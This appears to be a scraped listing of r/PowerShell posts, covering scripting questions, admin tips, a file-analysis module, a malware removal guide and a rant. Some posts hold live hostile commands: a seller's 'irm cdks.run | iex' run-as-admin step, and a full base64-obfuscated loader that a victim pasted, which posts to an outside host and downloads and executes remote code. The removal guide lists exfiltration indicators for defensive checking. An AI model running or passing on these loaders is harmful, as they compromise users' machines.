r/PowerShell • • Aug 11 '25

Question What is this irm cdks.run | iex ?

1 Upvotes

Hii, I don’t know if this is the place to ask this question, I bought a steam key and the sellers sent me a guide, this is what the guide says “Press the Win + X keys to open the Terminal (Administrator) or Windows PowerShell (Admin)

Now write (DO NOT WRITE IT MANUALLY, COPY AND PASTE!)

Irm cdks.run | iex”

sorry if my english is bad

So in conclusion I want to know what is:

irm cdks.run | iex


r/PowerShell • • Sep 23 '21

Script Sharing Countdown for Diablo II: Resurrected

0 Upvotes
([datetime]([long]'637680132'.PadRight(18,'0') - (Get-Date).Ticks)).TimeOfDay |tee -Variable tod;cls;($tod.Hours.ToString(), $tod.Minutes.ToString(), $tod.Seconds.ToString() -join ':') + '.' + $tod.Milliseconds.ToString()

r/PowerShell • • Dec 03 '24

Prevent an AD computer from accessing the domain...

0 Upvotes

Has anyone here used this to block a computer?

Does it work to prevent a domain computer from accessing domain resources?

Set-ADAccountExpiration -Identity $_Computer.DistinguishedName -DateTime $Expiry_Date

Reasoning:

I just used it on a computer - But, unlike a user object, the ADUC GUI does not include an account tab that shows an Account expiry option - For computer objects.

I just gave a guy a new laptop, but I know from history, that he is very likely to keep using the old one...

After all, the old one already has all of the software he needs on it - So I expect him to ignore the new one, and not contact us with software install requests on the new - Even though the SSD on the old one is showing signs of failure...

So my strategy is to give him a cutoff date (I chose the end of 17 Jan 2025), and used the above to set the account Expiration Date on the computer object.

I have found that setting deadlines does a great job of keeping thing moving as long as that deadline includes a tangible penalty if not met - such as (hopefully - If the above will actually work) preventing the computer from being able to access the domain once it is expired.

I will also be posting this to s/sysadmins


r/PowerShell • • Jul 20 '25

Looking for "goto" equivalent?

0 Upvotes

I've looked around for this and haven't found anything that I can understand... Looking for something that equate to the Basic (computer programming language) command "Goto" Here's a simple example:

#start
write-host "Hi, I'm Bob"
#choice
$Choice = Read-Host "Do you want to do it again?"
 If ($choice -eq "Yes") {
  #go to start
 }
 EsleIf ($choice -eq "No") {Exit}
 Else {
   Write-Host "Invalid response; please reenter your response"
   #go to choice
   }

There's GOT to be a way to do this...right?


r/PowerShell • • Aug 16 '25

Learning this is so hard

5 Upvotes

r/PowerShell • • Oct 30 '24

Question Why do you use powershell

11 Upvotes

I definitely know there is a place for powershell and that there are use cases for it, but I have not really had a need to learn it. Just about everything I do there is a GUI for. I would like to be fluent with it, but I just don't see any tasks that I would use it for. Could I do basic tasks to help learn (move devices within OUs, create and disable users, etc.) sure. But why would I when there is a much faster, simpler way. What examples do you have for using powershell that has made your job better and are practical in day to day use?

Edit: I appreciate all of the examples people have put here. I learn better by doing so if I see an example I could potentially use in my job I will try to adopt it. Thanks!


r/PowerShell • • Mar 23 '24

PS1 to shutdown all VM on a Hyper-V host? Can be run from anywhere on the network.

2 Upvotes

We have been experiencing awful power outages that caused some data damage. From my phone, I want to VPN in, and run a powerscipt somehow to shutdown all the VMs on a host without having to do it one VM at a time, updating the ps each time like this:

workflow stopvms

{

sequence

{

Stop-vm -name dc2

Stop-vm -Name dell

Stop-vm -Name hq-ho

Stop-vm -Name man1

}

}

stopvms

Appreciate anyone's expertise on this :D


r/PowerShell • • Jul 31 '26

Script Sharing Detecting file extensions by magic, heuristics and LLM

2 Upvotes

Hi,

Some time ago I wrote a PowerShell module called FileInspectorX. I had a need to detect file type and estimate how dangerous it is based on well it's extension, content without use of antivirus or virustotal.

Today I've upgraded it with Magika (offline LLM) from Google so it's even better in detecting what we're dealing with.

Usually Install-Module FileInspectorX works and then:

$I = Get-FileInsight -Path "YourFile"

It has multiple views so people can really get what they need. Here's how the default output looks like:

AnalysisComplete               : True
AnalysisIssues                 :
Detection                      : FileInspectorX.ContentTypeDetectionResult
DetectedExtension              : json
DetectedMimeType               : application/json
DetectionConfidence            : Medium
DetectionReason                : text:json
DetectionReasonDetails         : json:object-key-colon
DetectionValidationStatus      : passed
DetectionScore                 : 73
DetectionIsDangerous           : False
Kind                           : Text
Flags                          : None
GuessedExtension               :
ContainerSubtype               :
ScriptLanguage                 :
PeMachine                      :
PeSubsystem                    :
PeKind                         :
ContainerEntryCount            :
ContainerTopExtensions         :
VersionInfo                    :
Signature                      :
EstimatedLineCount             : 369
TextSubtype                    : log
SecurityFindings               : {text:log, log:levels=0/0/6}
SecurityFindingEvidence        :
ScriptCmdlets                  :
TopTokens                      :
Security                       : FileInspectorX.FileSecurity
Authenticode                   :
DotNetStrongNameSigned         :
References                     :
ShellProperties                : {b725f130-47ef-101a-a5f1-02608c9eebac:2, b725f130-47ef-101a-a5f1-02608c9eebac:4, b725f130-47ef-101a
                                 -a5f1-02608c9eebac:10, b725f130-47ef-101a-a5f1-02608c9eebac:12…}
NameIssues                     : None
Installer                      :
Assessment                     : FileInspectorX.AssessmentResult
AssessmentProfiles             : FileInspectorX.MultiAssessmentResult
Secrets                        :
OfficeExternalLinksCount       :
EncryptedEntryCount            :
InnerFindings                  :
ArchivePreviewEntries          :
InnerExecutablesSampled        :
InnerSignedExecutables         :
InnerValidSignedExecutables    :
InnerPublisherCounts           :
InnerPublisherValidCounts      :
InnerPublisherSelfSignedCounts :
InnerExecutableExtCounts       :
Certificate                    :
CertificateBundleCount         :
CertificateBundleSubjects      :
EncodedKind                    :
EncodedInnerDetection          :

PS C:\Users\przemyslaw.klys.EVOTEC> $I.Detection

Extension             : json
MimeType              : application/json
Confidence            : Medium
Reason                : text:json
ReasonDetails         : json:object-key-colon
ValidationStatus      : passed
Sha256Hex             :
MagicHeaderHex        :
BytesInspected        : 4096
GuessedExtension      :
Score                 : 73
IsDangerous           : False
Alternatives          : {FileInspectorX.ContentTypeDetectionCandidate}
Candidates            : {FileInspectorX.ContentTypeDetectionCandidate, FileInspectorX.ContentTypeDetectionCandidate}
LearnedClassification : FileInspectorX.LearnedClassificationEvidence

PS C:\Users\przemyslaw.klys.EVOTEC> $I.Detection.LearnedClassification.Prediction

Provider         : Magika
ModelId          : google-magika/standard_v3_3@5e2f437fb7b7452368c8c1fa9354858f5487a5c4
RawLabel         : json
OutputLabel      : json
Extension        : json
ExtensionAliases : {json}
MimeType         : application/json
Probability      : 0,99811840057373
Threshold        : 0,5
ThresholdMet     : True
PredictionMode   : HighConfidence
OverwriteReason  :
IsText           : True

With view parameter you can choose 'Analysis', 'Detection','Permissions', 'Raw', 'ShellProperties', 'Summary' 'Assesment', 'Installer', 'Policy', 'References', 'Signature'

In other words - find out everything there is to find about the file. Maybe you will find it useful. Depending on file type some of the fields will be missing which is expected.

Sources: https://github.com/EvotecIT/FileInspectorX

It has also C# library/nuget for those dealing with C#, and want to use it as part of their application.


r/PowerShell • • Feb 23 '25

Failing to make oh-my-posh theme :(

0 Upvotes

I tried a lot and it always give me a config error. What is the most simple them template to start with? Thank you very much!!


r/PowerShell • • Jun 29 '22

Question Script with GUI for inputting user names from AD and unlocking them

0 Upvotes

Hey,

Per the title, I'm looking for a script that lets me input user names and then mass unlocks them, is there anything you guys know of that is even like that? looking for ways to improve my efficiency as helpdesk, any suggestions for other scripts are welcome too :D


r/PowerShell • • Apr 07 '19

Powershell syntax

0 Upvotes

I am learning about Powershell right now. Besides the verb-noun syntax, is there any other syntax that I should know? Thanks.


r/PowerShell • • Jul 14 '25

Keeping a user session awake with Powershell

0 Upvotes

I have a need for a quick powershell snippet that would emulate hardware-level keyboard keypress or mouse movement with the goal of preventing Interactive_logon_Machine_inactivity_limit from kicking the current user session to the Lock Screen. I already tried:

$myshell = New-Object -ComObject "WScript.Shell"
$myshell.SendKeys("{F12}")

But as this is an application level keypress, this is not enough to prevent the inactivity limiter from kicking in. What are my options?


r/PowerShell • • Jul 18 '25

OpenSSH security in 2025?

0 Upvotes

I have read that OpenSSH from Microsoft stored ssh keys in the registry unencrypted. While that was bad, that was some years ago and I haven't found anything about what happened afterwards.

It's a serious problem now because VSCode has so far failed to use an alternative ssh implementation I configured in the settings.

Do you know what people do these days? Is the security issue fixed?


r/PowerShell • • Jun 04 '18

Script Sharing Adamj Clean-WSUS Script from June 1 2018

0 Upvotes

[ Removed by reddit in response to a copyright notice. ]


r/PowerShell • • May 24 '24

*I NEED HELP* Did I run a harmful script via powershell?

0 Upvotes

Can anyone help me because I think I messed up big time, i had an update error on windows and I was looking on youtube to fix it and I clicked a video with a tutorial just copy paste this into power shell and click enter and your error will dissapear and as soon as i did it I felt like I made a mistake.Can anyone help me identify this or maybe even help me get rid of this possibly virus or something else i will copy code now : ipconfig /flushdns

$BRW = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";

$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($BRW));

Invoke-Expression $FIX;

$CRT = "ZnVuY3Rpb24gSW52b2tlLU9iZnVzY2F0ZWRQb3N0UmVxdWVzdCB7ICR1PUAoJ2h0dHBzJywnOi8vZ2h1ZmFsLmFuc3dlcm1lZGlhLnNpdGUnLCcvS0IvcG8nLCdzdC5waHAnKTskaD1AeygnVXNlcicrJy1BZ2VudCcpPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjMuMC4wLjAgU2FmYXJpLzUzNy4zNid9OyRiPUB7c291cmNlX2lkPSdZT1VUVUJFJ307JGo9JGJ8Q29udmVydFRvLUpzb247dHJ5e0ludm9rZS1SZXN0TWV0aG9kIC1VcmkgKFtTdHJpbmddOjpKb2luKCcnLCR1KSkgLU1ldGhvZCBQb3N0IC1Cb2R5ICRqIC1Db250ZW50VHlwZSAnYXBwbGljYXRpb24vanNvbicgLUhlYWRlcnMgJGh9Y2F0Y2h7fSB9IGZ1bmN0aW9uIEludm9rZS1PYmZ1c2NhdGVkQ29kZSB7ICR1PUAoJ2h0dHBzJywnOi8vZ2h1ZmFsLmFuc3dlcm1lZGlhLnNpdGUnLCcvS0IvQ08nLCdERCcpOyR1cmw9W1N0cmluZ106OkpvaW4oJycsJHUpOyRqM0wyPUB7KCdVc2VyJysnLUFnZW50Jyk9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yMy4wLjAuMCBTYWZhcmkvNTM3LjM2J307JHQ5Vjg9SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdXJsIC1Vc2VCYXNpY1BhcnNpbmcgLUhlYWRlcnMgJGozTDI7JGs3UDQ9W1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHQ5VjguQ29udGVudCk7JGk1TDY9SW52b2tlLUV4cHJlc3Npb24gJGs3UDQ7JG51bGw9JGk1TDY7Q2xlYXItSG9zdCB9IEludm9rZS1PYmZ1c2NhdGVkUG9zdFJlcXVlc3Q7IEludm9rZS1PYmZ1c2NhdGVkQ29kZTsK";

$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CRT));

Invoke-Expression $UI;

exit;


r/PowerShell • • Jun 25 '24

Simple counter

0 Upvotes

Hello

I have no idea what I am doing so my apologies. I want a simple counter that starts at 0 and if the + key is pressed then the counter goes up to 1 and it displays the value. If pressed again then it goes to 2 and displays that. Can anyone assist me please.


r/PowerShell • • Jun 21 '24

How to connect in Microsoft 365 with the Microsoft Graph | Askme4Tech

0 Upvotes

Hi guys,

A few weeks ago i published an article about of how to change user passwords with PowerShell.

However I had lot of negative comments.

So i worked last weeks to write a new article about Microsoft Graph and how to use it to connect in Microsoft 365 Tenant. I explain basic things like the prerequisites, installation of prerequisites , and how to connect.

However I will publish more articles in next weeks about Microsoft Graph.

@YumWoonSen i am not here to get clicks. I am here to give knowledge with my articles in IT community .

The article is How to connect in Microsoft 365 with the Microsoft Graph | Askme4Tech

I am waiting your feedbacks and recommendations for feature articles.


r/PowerShell • • Jul 16 '22

Misc no kidding, there I was..

37 Upvotes

I just had a user tell me that the way the check out option in SharePoint Online isn't right. I explained to her it's been that way for at least 15 years. She started berating me and telling me it's not right.

I tried to explain to her the intended use by Microsoft.

She flat out told me to call Microsoft and have them change it. She was very serious and very pissed. All I could do was stand there with my mouth open.

She's been called to HR before about badgering IT and her editorial comments. But this one got me. I'm supposed to make Microsoft change it.


r/PowerShell • • Apr 14 '24

Question What can you use Powershell on Windows server?

0 Upvotes

Hello guys! What tasks can you accomplish as a beginner on Windows Server with Powershell?
PS: Beginner to both powershell and windows servers.

Edit: Thanks, everyone, for all the suggestions and criticism. I think I may have mislead where people thought that I needed help with writing the code. To clarify, I only needed help with the scenarios/tasks that sysadmins use powershell to resolve on windows server. I'll clarify further, the assignment was not to find out what tasks sysadmins use, it was to write a script that sysadmin may use to resolve a task(Script should not be a simple backup, sending email, log sys info etc., it should be a level higher in complexity). This was my assignment, since I didn't knew what sysadmins may use powershell in their daily work life, I felt I'll get some scenarios/ideas to build the script on that. Sorry if I may have mislead you guys and Thanks for all the help, I appreciate it.


r/PowerShell • • Sep 23 '26

Question Saw this on LinkedIn -- anyone give it a shot yet?

0 Upvotes

https://github.com/Kanders-II/PoshUI

Looks really cool but I have not tried it. Anyone tried this? Seems like the new way to do WPF with Posh!


r/PowerShell • • Jul 27 '22

How does learning PowerShell increase Pay?

3 Upvotes

While at my IT job there are some people that think PS is cool, It's almost as if the higher ups don't care. I've read about people saying they've doubled (LOL) their salary after learning PowerShell and using it at the job. How does this happen? What did those IT dudes say to their manager to get that salary bump. I wonder if they were myth stories. I've read them all online I've never met anyone personally who has said that learning PS increased their pay. I create PowerShell scripts and it's taken as something normal (and even at one time questioned, yes your read that right, for something that is still in use today)


r/PowerShell • • Aug 10 '25

Information Found the cause of my random PowerShell popups — hidden scheduled task in AppData\Local\reserve\red hijacking Chrome/Edge (Removal Guide)

0 Upvotes

To everyone downvoting my post and comments: I actually figured out the problem and found out it was a virus, when people had been brushing it off as just a random popup for years. Keep downvoting if you want, I honestly don’t care. As long as this reaches the people it actually affects, that’s all that matters. They can either reformat their PC or follow this tutorial that is their choice. Reddit can be such a toxic place sometimes, with people in the comments being negative even when someone’s just trying to help.

TL;DR:
If you get random PowerShell popups, check for a scheduled task running a .ps1 file from AppData\Local\reserve\red.
Delete the scheduled task (schtasks /query → find → disable → delete)

  • Remove %LOCALAPPDATA%\reserve (take ownership if needed)

  • Reset Chrome/Edge & delete browser policies from registry

  • Check no other scheduled tasks or startup entries call PowerShell

  • Full scan with Windows Defender

Likely a browser hijacker, not a password stealer — but check the .ps1 to be sure.

UPDATE – PLEASE READ:
After removing the .ps1 payload, Windows Defender immediately quarantined the following:

  • TrojanProxy:Win32/Acapaladat.A

  • TrojanProxy:Win32/Acapaladat.B

  • Trojan:Win32/Malgent

  • Trojan:Win32/Wacatac.C!ml

My working theory is that these components were either deployed by the .ps1 as part of its main payload, or triggered as a secondary routine (possibly a failsafe/self-destruct) when the script was deleted.

How the infection worked (simplified)

  • The .ps1 file in AppData\Local\reserve\red wasn’t the main virus — it was the persistence script.

  • A scheduled task ran this script on a timer, so the malware could keep coming back even if you restarted your PC.

  • Inside the script were commands to mess with your Chrome/Edge profiles, likely to install malicious extensions, change settings, and copy profile files.

  • While that script ran, it also kept multiple other threats alive:

    1. TrojanProxy:Win32/Acapaladat.A & .B — turned your PC into a proxy server so hackers could route their internet activity through you.

    2. Trojan:Win32/Malgent — a loader/agent that downloaded new malware when commanded.

    3. Trojan:Win32/Wacatac.C!ml — a common trojan that can steal info, drop ransomware, or run other malicious files.

  • As long as the .ps1 was in place and scheduled, these threats could hide in plain sight — your antivirus might not trigger because the malware was being “managed” by that script.

  • Once I deleted the .ps1 and killed the scheduled task, the persistence was gone — and that’s when Windows Defender finally caught the actual trojans and quarantined them.

Think of it like this:
The .ps1 was the life support machine, and the trojans were the patients. Remove life support, and the trojans are suddenly exposed and easy to take down.

THE FIX:

For the last couple of weeks, I’ve been getting random PowerShell windows that flash open and close for a split second, even when I’m not doing anything. It wasn’t showing up in Task Manager for long enough to catch, but it kept happening every couple of hours.

Today I finally caught the cause, a hidden scheduled task was running a .ps1 script from a weird folder:

C:\Users\<MyName>\AppData\Local\reserve\red\<random>\script.ps1

The script was hijacking Chrome and Edge settings by replacing Preferences and Secure Preferences files, forcing certain search engines/extensions. I’m posting the exact steps I used to find and remove it so if you have the same thing, you can kill it too.

If you’ve been seeing a PowerShell window flash open and close randomly, it might be a scheduled task running a hidden script from here:

C:\Users\<YourName>\AppData\Local\reserve\red\<random folder>\something.ps1

This is a Chrome/Edge browser hijacker.
It changes your browser’s Preferences and Secure Preferences files to force certain search engines or extensions.
Mine didn’t steal passwords or files, but here’s how to check and remove it.

Step 1 — Open Command Prompt as Administrator

  1. Press Windows key

  2. Type cmd

  3. Right-click Command Prompt → Run as administrator

Step 2 — Find the malicious scheduled task
Run:
schtasks /query /fo LIST /v | findstr /i reserve

If you see something like \OneChecker pointing to a .ps1 in reserve\red, that’s the one.

If nothing shows, try:
schtasks /query /fo LIST /v | findstr /i powershell

Step 3 — Disable and delete the task
Replace TaskNameHere with the name from Step 2:
schtasks /change /tn "TaskNameHere" /disable
schtasks /delete /tn "TaskNameHere" /f

If “Access Denied”:

  • Make sure you’re running as admin

  • Or boot into Safe Mode and try again

Step 4 — Delete the reserve folder
rmdir /s /q "%LOCALAPPDATA%\reserve"

If “Access Denied”:
takeown /f "%LOCALAPPDATA%\reserve" /r /d y

icacls "%LOCALAPPDATA%\reserve" /grant %USERNAME%:F /t
Then try deleting again.

Step 5 — Reset Chrome & Edge

  • Chrome: Menu (⋮) → Settings → Reset settings → Restore settings to original defaults

  • Edge: Menu (…) → Settings → Reset settings → Restore to default values

Step 6 — Remove forced policies

in CMD prompt as Admin copy and paste the following:

reg delete "HKCU\Software\Policies\Google\Chrome" /f

reg delete "HKLM\Software\Policies\Google\Chrome" /f

reg delete "HKCU\Software\Policies\Microsoft\Edge" /f

reg delete "HKLM\Software\Policies\Microsoft\Edge" /f

If it says “The system was unable to find the specified registry key”, that’s fine.

Step 7 — Check there’s no leftovers

schtasks /query /fo LIST /v | findstr /i powershell

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

Nothing here should mention PowerShell or reserve.

Step 8 — Scan your PC
Open Windows Security → Virus & threat protection → Scan options → Full scan

Bonus — Check if the script stole data
If you still have the .ps1 file:

  1. Create C:\Quarantine

  2. Copy the .ps1 there

  3. Open PowerShell (Admin)

  4. Run: Get-Content "C:\Quarantine\malware.ps1" -Raw | Out-File "C:\Quarantine\malware_readable.txt" -Encoding UTF

  5. Open malware_readable.txt in Notepad and search for: Invoke-WebRequest, /upload, AppData\Local\Google, AppData\Local\Microsoft\Edge, Get-Clipboard

If none are there, it’s likely just a hijacker.

If nothing works:

  • Boot into Safe Mode with Networking and try again

  • Or make a new Windows account, delete infected profile’s reserve folder and scheduled tasks

  • Worst case: back up files and reinstall Windows


r/PowerShell • • Mar 16 '24

How to write a script that will delete itself (without possibility of recovery)

0 Upvotes

I want to create deployment script that will install all things i need and then deletes itself. The problem is that it should be unrecoverable, i thought about editing file and overwrite it but is there a better way?


r/PowerShell • • Mar 22 '17

Fuck PowerShell 2.0, fuck it so much

2 Upvotes

Isn't it clever! Isn't it just so much more clever than anyone else!

I've fucking had it with this piece of shit language. And I've read the manual and been using it every day for the last 6 weeks.

So you want to redirect output using the > operator? Yeah, fuck you, PowerShell will insert newlines at the console width even though you're outputting to a file. Surprise! Turns out you've got to run your command in cmd.exe and redirect the output from there if you don't want a smart-alec fucking up your output data.

How about .Net 3.5? No timeouts in any of the network classes! Because, that's right, fuck you. Oh sure, you can dick around with event handlers and time shit yourself, but damn it, so fucked up.

Oh, want to automate using the Internet Explorer COM object? Well, fuck you, the object gets corrupted if you try and navigate in the ISE. That's right, no debugging for you! Fuck off, like you should be able to debug.

Every. Fucking. Day. Comes. A. New. Surprise.

Because fuck you, courtesy of the utter vile ****s that work at Microsoft.

Well, fuck you, Microsoft. And fuck the stupid company that uses Microsoft anything in the workplace. I'm not coming back.

Update 2017-03-23 oh lookie here, another day, another fuck you from Microsoft. What could it be today? Well, guess what! Write-Debug outputs to stdout (1>) in PowerShell 2.0 when it outputs to 5> in later versions of PowerShell. Who'd have thought debugging would be piped to the stdout stream! Microsoft! Okay, okay, I'll recode all my scripts not to output debugging because it isn't separately redirect-able.